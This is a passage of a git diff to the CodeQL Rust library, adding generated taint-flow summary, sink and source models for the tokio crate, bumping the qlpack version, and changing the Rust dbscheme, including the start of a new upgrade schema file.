"ReturnValue.Field[crate::io::util::read::Read::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read::read", "Argument[1]", "ReturnValue.Field[crate::io::util::read::Read::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_buf::read_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::read_buf::ReadBuf::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_buf::read_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::read_buf::ReadBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_exact::read_exact", "Argument[0]", "ReturnValue.Field[crate::io::util::read_exact::ReadExact::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[0].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[1].Field[crate::result::Result::Ok(0)]", "Argument[3].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[0]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[1]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::output]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::buf].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end_internal", "Argument[2].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::output]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[0]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[1]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::delimiter]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[2]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::repeat::repeat", "Argument[0]", "ReturnValue.Field[crate::io::util::repeat::Repeat::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::shutdown::shutdown", "Argument[0]", "ReturnValue.Field[crate::io::util::shutdown::Shutdown::a]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[0]", "ReturnValue.Field[crate::io::util::split::Split::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[1]", "ReturnValue.Field[crate::io::util::split::Split::delim]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::take::take", "Argument[0]", "ReturnValue.Field[crate::io::util::take::Take::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::take::take", "Argument[1]", "ReturnValue.Field[crate::io::util::take::Take::limit_]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write::write", "Argument[0]", "ReturnValue.Field[crate::io::util::write::Write::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write::write", "Argument[1]", "ReturnValue.Field[crate::io::util::write::Write::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all::write_all", "Argument[0]", "ReturnValue.Field[crate::io::util::write_all::WriteAll::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all::write_all", "Argument[1]", "ReturnValue.Field[crate::io::util::write_all::WriteAll::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all_buf::write_all_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::write_all_buf::WriteAllBuf::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all_buf::write_all_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::write_all_buf::WriteAllBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_buf::write_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::write_buf::WriteBuf::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_buf::write_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::write_buf::WriteBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_vectored::write_vectored", "Argument[0]", "ReturnValue.Field[crate::io::util::write_vectored::WriteVectored::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_vectored::write_vectored", "Argument[1]", "ReturnValue.Field[crate::io::util::write_vectored::WriteVectored::bufs]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split::split", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[0].Field[crate::net::unix::split::ReadHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::budget", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::current::with_current", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime::enter_runtime", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::with_scheduler", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::metrics::batch::duration_as_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::sync::mpsc::block::offset", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::sync::mpsc::block::start_index", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::blocking::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::blocking::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::budget", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::cooperative", "Argument[0]", "ReturnValue.Field[crate::task::coop::Coop::fut]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::unconstrained::unconstrained", "Argument[0]", "ReturnValue.Field[crate::task::coop::unconstrained::Unconstrained::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::with_unconstrained", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::interval::interval", "Argument[0]", "ReturnValue.Field[crate::time::interval::Interval::period]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::interval::interval_at", "Argument[1]", "ReturnValue.Field[crate::time::interval::Interval::period]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::sleep::sleep_until", "Argument[0]", "ReturnValue.Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::memchr::memchr", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::blocking_task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::typeid::try_transmute", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_read::AsyncRead>::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::put_slice", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shutdown", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::transition_to_terminal", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::support::signal::send_signal", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::file_name", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::path", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 7660d75b460b..246c9948c50b 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.8 +version: 0.1.10 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index 58bc96172f5a..a1005655e9ef 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -238,12 +238,6 @@ crate_versions( string version: string ref ); -#keyset[id] -crate_modules( - int id: @crate ref, - int module: @module ref -); - #keyset[id, index] crate_cfg_options( int id: @crate ref, @@ -1942,6 +1936,12 @@ infer_type_reprs( | @use ; +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + @labelable_expr = @block_expr | @looping_expr @@ -3083,9 +3083,9 @@ macro_call_token_trees( ); #keyset[id] -macro_call_expandeds( +macro_call_macro_call_expansions( int id: @macro_call ref, - int expanded: @ast_node ref + int macro_call_expansion: @ast_node ref ); macro_defs( diff --git a/rust/ql/lib/rust.qll b/rust/ql/lib/rust.qll index 7b97f68469ca..209a002663f4 100644 --- a/rust/ql/lib/rust.qll +++ b/rust/ql/lib/rust.qll @@ -4,7 +4,11 @@ import codeql.rust.elements import codeql.Locations import codeql.files.FileSystem import codeql.rust.elements.Operation +import codeql.rust.elements.ArithmeticOperation import codeql.rust.elements.AssignmentOperation +import codeql.rust.elements.BitwiseOperation +import codeql.rust.elements.ComparisonOperation +import codeql.rust.elements.DerefExpr import codeql.rust.elements.LiteralExprExt import codeql.rust.elements.LogicalOperation import codeql.rust.elements.AsyncBlockExpr diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: 